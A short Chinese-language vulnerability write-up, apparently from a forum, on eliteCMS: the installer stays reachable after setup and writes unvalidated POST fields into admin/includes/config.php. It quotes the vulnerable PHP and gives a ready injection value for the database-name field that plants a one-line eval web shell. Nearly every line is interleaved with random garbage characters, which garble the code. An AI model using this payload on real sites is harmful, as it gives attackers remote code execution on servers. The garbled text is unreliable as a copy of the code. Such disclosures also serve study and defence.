eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; u3 F2 y4 A, ]& z
% f$ {( ^3 @* y4 K! p; e
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
O4 B3 {1 c' E9 C0 b我们来看代码:
' e* H. N9 h& `! I' G
1 p+ M S9 {: G$ r' z...
& r7 ~ o; N6 j+ xelseif ($_GET['step'] == "4") {
, I8 p. b5 I# Y5 x* j( | $file = "../admin/includes/config.php";8 H+ n4 g5 ^8 e9 A N7 ^: w
$write = "<?php\n";2 J6 R6 ~8 G3 L% |4 P$ V# ~9 L& r
$write .= "/**\n";: u1 w- [8 K) V
$write .= "*\n";
8 f( _! L7 _8 ]/ @ Y/ m $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 d: ^* Z) f3 m) b& A0 f3 O...略...: }& C' O" B7 a+ o0 f1 i. k
$write .= "*\n";
& H" }2 Z/ C7 k M! k3 h' e $write .= "*/\n";7 T h1 E( N1 T7 a& u4 k
$write .= "\n";
3 q: O5 K1 Q( `5 S7 O: ] $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";1 O8 q& V% Z+ ~0 B, |' ^# i
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";/ J5 O, K6 G7 H
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";: ^ v, U, W0 `2 i! F: ?, X
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";4 _) F i' G+ n9 o7 A+ @
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";' {8 I2 _' a: K. B
$write .= "if (!\$connection) {\n";
6 o( b& f& k( p/ L( T $write .= " die(\"Database connection failed\" .mysql_error());\n";
) }( s. i+ \; _ $write .= " \n";
0 U7 h: M4 F1 ?9 j! V $write .= "} \n";& b' J* i/ f1 Q |8 Y
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";( w4 e; M" `' x7 J U
$write .= "if (!\$db_select) {\n";
0 \; `8 \6 T0 i. |4 P$ R $write .= " die(\"Database select failed\" .mysql_error());\n";3 A+ H) }$ u) S% B
$write .= " \n";) y8 @$ R; T0 ^1 h- x
$write .= "} \n";
& K) r/ Z" Y& ` $write .= "?>\n";2 E: P. H+ x* t% s* N
1 T- J/ {! p$ {7 d $writer = fopen($file, 'w');. c5 t6 P5 V) d! k
...1 D8 w( y7 a/ F
4 M6 F. T `0 A' R! G/ B: w. S在看代码:
J' ?( r9 l5 t9 a: v 8 m) I3 F, _* \+ C
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 @# R* y0 T& f6 P$ D$_SESSION['DB_NAME'] = $_POST['DB_NAME'];( ], T5 q3 |. x6 {, z# H( j. {
$_SESSION['DB_USER'] = $_POST['DB_USER'];
, p" v* J# {, s P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
; D6 U; H9 d$ a
* {8 u. M$ `+ X! Y K取值未作任何验证. s) B1 U+ s% y9 X% i) ?. ]
如果将数据库名POST数据:( H# P& B4 _- x, y$ d
4 N7 L! ~5 a- k0 E' m
"?><?php eval($_POST[c]);?><?php* a0 _' Y% v g- p4 g8 w' ?* [
, d8 p) ]1 w. X5 g: H) @将导致一句话后门写入/admin/includes/config.php' L: V( l6 _ p$ F* p
|